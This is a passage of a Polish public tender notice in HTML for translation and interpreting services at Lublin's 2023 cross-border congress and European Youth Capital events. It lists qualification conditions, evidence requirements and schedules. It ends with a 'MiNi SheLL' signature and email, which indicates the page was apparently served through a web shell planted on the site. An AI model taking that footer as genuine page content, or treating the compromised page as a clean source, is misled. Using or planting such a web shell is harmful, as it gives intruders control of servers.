Młodzieży 2026 w ramach Europejskiej Stolicy Młodzieży 2023.<br/>1.1.1. Tłumaczenia, o których mowa w pkt. 1.1. obejmują usługę wykonania tłumaczeń symultanicznych z języka polskiego na język angielski i z języka angielskiego na język polski.<br/>1.1.2. Miejsce wykonania usługi: sala konferencyjna na terenie centrum Lublina. 1.1.3. Dokładne miejsce i godzina zostaną podane przez Zamawiającego najpóźniej na 7 dni kalendarzowych przed wydarzeniem<br/>1.1.4. Kabiny wraz z obsługą techniczną będą zapewnione przez Zamawiającego.<br/>1.1.5 Wydarzenie, o którym mowa w pkt.1.1. będzie streamowane on-line. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79540000-1 - Usługi w zakresie tłumaczeń ustnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal"> od 2023-11-27 do 2023-11-27</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Zatrudnienie i/lub oddelegowanie osób niepełnosprawnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1. O udzielenie zamówienia mogą ubiegać się wykonawcy, którzy spełniają niżej określone warunki udziału w postępowaniu:<br/>1.1. w zakresie zdolności technicznej lub zawodowej Zamawiający określa minimalne poziomy zdolności dotyczące:<br/>Część 1: <br/>1.1.1. niezbędnego wykształcenia i doświadczenia osób skierowanych przez wykonawcę do realizacji zamówienia, umożliwiających realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.1.1. Dysponowanie 1 osobą która będzie uczestniczyć w wykonywaniu zamówienia, która ukończyła magisterskie studia wyższe na kierunku filologia angielska lub lingwistyka stosowana z językiem angielskim oraz posiada minimum 5-letnie doświadczenie w tłumaczeniach pisemnych z języka polskiego na język angielski i z języka angielskiego na język polski.<br/>1.1.1.2. Dysponowanie 1 osobą która będzie uczestniczyć w wykonywaniu zamówienia, która ukończyła magisterskie studia wyższe na kierunku filologia ukraińska lub lingwistyka stosowana z językiem ukraińskim oraz posiada minimum 5-letnie doświadczenie w tłumaczeniach pisemnych z języka polskiego na język ukraiński i z języka ukraińskiego na język polski<br/>1.1.2. niezbędnego doświadczenia Wykonawcy umożliwiającego realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.2.1. Wykonanie lub wykonywanie 12 tłumaczeń pisemnych (z języka polskiego na język angielski i z języka angielskiego na język polski) w okresie ostatnich trzech lat licząc wstecz od dnia w którym upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie.<br/>1.1.2.2. Wykonanie lub wykonywanie 12 tłumaczeń pisemnych (z języka polskiego na język ukraiński i z języka ukraińskiego na język polski ) w okresie ostatnich trzech lat licząc wstecz od dnia w którym upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie.<br/>Część 2: <br/>1.1.3. niezbędnego wykształcenia, kwalifikacji zawodowych i doświadczenia osób skierowanych przez wykonawcę do realizacji zamówienia, umożliwiających realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.3.1. Dysponowanie 6 osobami które będą uczestniczyć w wykonywaniu zamówienia:<br/>a) które ukończyły magisterskie studia wyższe na kierunku filologia angielska lub lingwistyka stosowana z językiem angielskim oraz posiadają minimum 5-letnie doświadczenie w tłumaczeniu ustnym z języka polskiego na język angielski i z języka angielskiego na język polski <br/> Lub <br/>b) są native speakerem języka angielskiego z wykształceniem wyższym posiadającym minimum 5-letnie doświadczenie w tłumaczeniu ustnym z języka polskiego na język angielski i z języka angielskiego na język polski<br/>1.1.3.2. Dysponowanie 2 osobami które będą uczestniczyć w wykonywaniu zamówienia:<br/>a) które ukończyły magisterskie studia wyższe na kierunku filologia ukraińska lub lingwistyka stosowana z językiem ukraińskim oraz posiadają minimum 5-letnie doświadczenie w tłumaczeniach ustnych z języka polskiego na język ukraiński i z języka ukraińskiego na język polski.<br/> Lub<br/> b) są native speakerem języka ukraińskiego z wykształceniem wyższym posiadającym minimum 5-letnie doświadczenie w tłumaczeniu ustnym z języka polskiego na język ukraiński i z języka ukraińskiego na język polski<br/>1.1.4. niezbędnego doświadczenia Wykonawcy umożliwiającego realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.4.1. Wykonanie 12 tłumaczeń ustnych (z języka polskiego na język angielski i z języka angielskiego na język polski) w okresie ostatnich trzech lat licząc wstecz od dnia w który upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie.<br/>1.1.4.2. Wykonanie 12 tłumaczeń ustnych (z języka polskiego na język ukraiński i z języka ukraińskiego na język polski) w okresie ostatnich trzech lat licząc wstecz od dnia w który upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie.<br/>1.1.4.3. Wykonanie 6 usług obejmujących obsługę techniczną tłumaczenia symultanicznego (kabinowego) w okresie ostatnich trzech lat licząc wstecz od dnia w który upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie.<br/>Część 3: <br/>1.1.5.niezbędnego wykształcenia i doświadczenia osób skierowanych przez wykonawcę do realizacji zamówienia, umożliwiających realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.5.1. Dysponowanie 2 osobami które będą uczestniczyć w wykonywaniu<br/>zamówienia:<br/>a) które posiadają ukończone magisterskie studia wyższe na kierunku filologia angielska lub lingwistyka stosowana z językiem angielskim oraz posiadają minimum 5-letnie doświadczenie w tłumaczeniu symultanicznym z języka polskiego na język angielski i z języka angielskiego na język polski<br/> Lub <br/>b) są native speakerem języka angielskiego z wykształceniem wyższym posiadającym minimum 5-letnie doświadczenie w tłumaczeniu ustnym z języka polskiego na język angielski i z języka angielskiego na język polski<br/>1.1.6. niezbędnego doświadczenia Wykonawcy umożliwiającego realizację zamówienia na odpowiednim poziomie jakości:<br/>1.1.6.1. Wykonanie 12 tłumaczeń symultanicznych (z języka polskiego na język angielski i z języka angielskiego na język polski) w okresie ostatnich trzech lat licząc wstecz od dnia w który upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1. Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu, w zakresie podstaw wykluczenia z postępowania wskazanych przez zamawiającego.<br/>2. Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu o niepodleganiu wykluczeniu oraz spełnieniu warunków udziału w postępowaniu, w zakresie podstaw wykluczenia z postępowania wskazanych przez zamawiającego, o których mowa w:<br/>a) art. 108 ust. 1 pkt 3 ustawy,<br/>b) art. 108 ust. 1 pkt 4 ustawy, dotyczących orzeczenia zakazu ubiegania się o zamówienie publiczne tytułem środka zapobiegawczego,<br/>c) art. 108 ust. 1 pkt 5 ustawy, dotyczących zawarcia z innymi wykonawcami porozumienia mającego na celu zakłócenie konkurencji,<br/>d) art. 108 ust. 1 pkt 6 ustawy<br/>3. Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu, w zakresie podstawy wykluczenia z postępowania wskazanej przez zamawiającego, o której mowa w:<br/>a) art. 7 ust. 1 ustawy o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego<br/>4. Podmiotowe środki dowodowe wymienione w pkt 1. - 3.podmiotów udostępniających zasoby na zasadach określonych w art. 118 ustawy, potwierdzające, że nie zachodzą wobec tych podmiotów podstawy wykluczenia z postępowania.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1. a) Wykaz usług wykonanych, a w przypadku świadczeń powtarzających się lub ciągłych również wykonywanych, w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane lub są wykonywane, wraz z załączeniem dowodów określających, czy te usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi zostały wykonane, a w przypadku świadczeń powtarzających się lub ciągłych są wykonywane, a jeżeli wykonawca z przyczyn niezależnych od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie wykonawcy; w przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wystawione w okresie ostatnich 3 miesięcy – dotyczy części 1<br/>1 b) Wykaz usług wykonanych w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane, wraz z załączeniem dowodów określających, czy te usługi zostały wykonane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi zostały wykonane, a jeżeli wykonawca z przyczyn niezależnych od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie wykonawcy – dotyczy części 2 i 3.<br/>2. Wykaz osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> W przypadku zaoferowania przez Wykonawcę rozwiązań równoważnych, zgodnie z art. 101 ust. 6 ustawy Wykonawca może udowodnić w ofercie, w szczególności za pomocą przedmiotowych środków dowodowych, o których mowa w art. 104-107 ustawy, że usługa, spełnia wymagania dotyczące wydajności lub funkcjonalności określone przez zamawiającego jeśli oferta jest zgodna z Polską Normą przenoszącą normę europejską, normami innych państw członkowskich Europejskiego Obszaru Gospodarczego przenoszącymi normy europejskie, z europejską oceną techniczną, ze wspólną specyfikacją techniczną, z normą międzynarodową lub z systemem referencji technicznych ustanowionym przez europejski organ normalizacyjny, jeżeli te normy, oceny techniczne, specyfikacje i systemy referencji technicznych dotyczą wymagań dotyczących wydajności lub funkcjonalności określonych przez zamawiającego. <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> 1. Odpis lub informacja z Krajowego Rejestru Sądowego, Centralnej Ewidencji i Informacji o Działalności Gospodarczej lub innego właściwego rejestru, w celu potwierdzenia, że osoba działająca w imieniu wykonawcy jest umocowana do jego reprezentowania.<br/> 2. Pełnomocnictwo lub inny dokument potwierdzający umocowanie do reprezentowania wykonawcy - jeżeli w imieniu wykonawcy działa osoba, której umocowanie do jego reprezentowania nie wynika z dokumentów, o których mowa w pkt 1. <br/>3. Pełnomocnictwo lub inny dokument potwierdzający umocowanie do reprezentowania wykonawców wspólnie ubiegających się o udzielenie zamówienia publicznego - jeżeli w ich imieniu działa osoba, której umocowanie do ich reprezentowania nie wynika z dokumentów, o których mowa w pkt 1.<br/>4. Dokumenty wymienione w pkt 1-2. osoby działającej w imieniu podmiotu udostępniającego zasoby na zasadach określonych w art. 118 ustawy. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia, brak podstaw do wykluczenia z postępowania o udzielenie zamówienia musi zostać wykazany przez każdego z wykonawców.<br/>2. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia Zamawiający uzna warunki udziału w postępowaniu za spełnione jeżeli:<br/>2.1. w zakresie określonym w pkt. 5.4) ppkt. 1.1.2.1 co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>2.2. w zakresie określonym w pkt. 5.4) ppkt. 1.1.2.2 co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>2.3. w zakresie określonym w pkt 5.4) ppkt. 1.1.4.1. co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>2.4. w zakresie określonym w pkt 5.4) ppkt. 1.1.4.2 co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>2.5. w zakresie określonym w pkt. 5.4) ppkt. 1.1.4.3 co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>2.6. w zakresie określonym w pkt 5.4) ppkt. 1.1.6.1. co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia, dysponuje wymaganą zdolnością techniczną lub zawodową i wykona usługi, do realizacji których te zdolności są wymagane.<br/>3. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia:<br/>3.1. oświadczenie wymagane w Sekcji V pkt 5.5 oraz podmiotowe środki dowodowe wymagane w sekcji IX pkt 1.4 (o ile zachodzi taka okoliczność) winien złożyć każdy wykonawca. Oświadczenia potwierdzają brak podstaw wykluczenia oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim każdy z wykonawców wykazuje spełnianie warunków udziału w postępowaniu.<br/>3,2. Podmiotowe środki dowodowe wymagane w IX pkt 1.5 oraz w sekcji IX pkt 1.6 winny być złożone wspólnie przez wykonawców.<br/>3.3. Dokumenty wymagane w Sekcji V pkt 5.11) pkt 1 winien złożyć każdy wykonawca.<br/>4. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia:<br/>4.1. dokumenty i oświadczenia wymagane w Sekcji V pkt. 5.6.) ppkt. 1 – 3 winien złożyć każdy wykonawca.<br/>4.2. dokumenty i oświadczenia wymagane w pkt Sekcji V pkt. 5.7.) winny być złożone wspólnie przez wykonawców. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> 1.Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia znajdują się we wzorze umowy zamieszczonym na stronie internetowej prowadzonego postępowania wskazanej w pkt 3.1.<br/>2. Pełna nazwa zamówienia: Usługa wykonania tłumaczeń pisemnych, symultanicznych i konsekutywnych wraz z obsługą techniczną tłumaczeń podczas Kongresu Współpracy Transgranicznej Lublin 2023 i uroczystości Nadania tytułu Europejskiej Stolicy Młodzieży 2026, w ramach realizacji inicjatywy „Młodzież dla Miasta, Miasto dla Młodzieży – projekty i inicjatywy angażujące i włączające lokalne społeczności” oraz Europejskiej Stolicy Młodzieży Lublin 2023. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2023-08-21 11:30</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Składanie ofert odbywa się przy użyciu Platformy e-Zamówienia, która jest dostępna pod adresem https://ezamowienia.gov.pl za pośrednictwem zakładki „Oferty/wnioski”, widocznej w podglądzie postępowania po zalogowaniu się na konto Wykonawcy.</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2023-08-21 12:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2023-09-19</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> 1. Wykonawcy zobowiązani są złożyć:<br/>1.1. Formularz ofertowy - w przypadku składania oferty przez podmioty występujące wspólnie należy podać dane wszystkich<br/>wykonawców składających ofertę wspólną,<br/>1.2.Wycenę ofertową dla części 1-3<br/>1.3. Oświadczenie o niepodleganiu wykluczeniu oraz spełnieniu warunków udziału w postępowaniu podmiotu udostępniającego zasoby, potwierdzające brak podstaw wykluczenia tego podmiotu oraz odpowiednio spełnianie warunków udziału w postępowaniu, w zakresie, w jakim wykonawca powołuje się na jego zasoby - w przypadku polegania przez<br/>wykonawcę na zdolnościach lub sytuacji podmiotów udostępniających zasoby, w celu potwierdzenia spełniania warunków<br/>udziału w postępowaniu<br/>1.4. Podmiotowe środki dowodowe, wykazujące przesłanki określone w art. 110 ust. 2,w przypadku zajścia okoliczności określonych w art. 108 ust. 1 pkt 1, 2, 5 ustawy Pzp.<br/>1.5. Oświadczenie, z którego wynika, które usługi, wykonają poszczególni wykonawcy – w przypadku wykonawców<br/>wspólnie ubiegających się o udzielenie zamówienia.<br/>1.6. Wykonawca, który polega na zdolnościach lub sytuacji podmiotów udostępniających zasoby, składa, wraz z ofertą, zobowiązanie podmiotu udostępniającego zasoby do oddania mu do dyspozycji niezbędnych<br/>zasobów na potrzeby realizacji danego zamówienia lub inny podmiotowy środek dowodowy potwierdzający, że wykonawca<br/>realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów. Zobowiązanie podmiotu<br/>udostępniającego zasoby,winno potwierdzać, że stosunek łączący wykonawcę z podmiotami udostępniającymi zasoby<br/>gwarantuje rzeczywisty dostęp do tych zasobów oraz określa w szczególności: 1) zakres dostępnych wykonawcy zasobów<br/>podmiotu udostępniającego zasoby; 2) sposób i okres udostępnienia wykonawcy i wykorzystania przez niego zasobów<br/>podmiotu udostępniającego te zasoby przy wykonywaniu zamówienia; 3) czy i w jakim zakresie podmiot udostępniający<br/>zasoby, na zdolnościach którego wykonawca polega w odniesieniu do warunków udziału w postępowaniu dotyczących<br/>wykształcenia, kwalifikacji zawodowych lub doświadczenia, zrealizuje roboty budowlane lub usługi, których wskazane<br/>zdolności dotyczą.<br/>2. Termin wykonania zamówienia <br/>2.1. Część 1:<br/>2.1.1. od momentu zawarcia umowy do 15 grudnia 2023.<br/>2.1.1.1. Termin wykonywania jednostkowego zamówienia wynosi max. do 2 dni roboczych od momentu zgłoszenia.<br/>2.1.1.2. Materiały Wykonawca będzie przekazywał sukcesywnie, stosownie do potrzeb Zamawiającego i w terminie określonym w pkt. 2.1.1.1 w objętości nie większej niż 15 stron tygodniowo.<br/>2.2. Część 2:<br/>2.2.1. w dniach: 08.10.2023 – 11.10.2023 r. w tym:<br/>2.2.1.1. 8 października 2023 r.- transport i montaż urządzeń przez Wykonawcę,<br/>2.2.1.2. w zakresie usługi wykonania tłumaczeń symultanicznych (kabinowych) z języka polskiego na język angielski i z języka angielskiego na język polski oraz z języka polskiego na język ukraiński i z języka ukraińskiego na język polski w terminie :<br/>a) 9 października br. w godz. 10.00 – 13.45 oraz 14:30 – 17:15 (sala główna);<br/>b) 10 października br. w godz. 09.30 – 12:15 (sala główna)<br/>c) 11 października br. w godz. 09.30 – 13.45 oraz 14:30 – 17:00 (sala główna);<br/>2.2.1.3. 11 października 2023r. demontaż urządzeń przez Wykonawcę,<br/>2.2.1.4. w zakresie tłumaczeń symultanicznych z użyciem systemu tour guide z języka polskiego na język angielski i z języka angielskiego na język polski dla 30 uczestników warsztatów:<br/>a) w dniu 9 października br.: 14:30-16:00 (sala boczna 1); 14:30-16:00 (sala boczna 2)<br/> b) w dniu 11 października br.: 11:15-12:15 (sala boczna 1)<br/>2.2.1.5. w zakresie tłumaczeń konsekutywnych z języka polskiego na język angielski podczas 2 wizyt studyjnych - 9-11 października 2023 roku.<br/>2.3. Część 3:<br/>2.3.1. 27 listopada 2023 w godz. 19.00- 22.00.

Creat By MiNi SheLL
Email: jattceo@gmail.com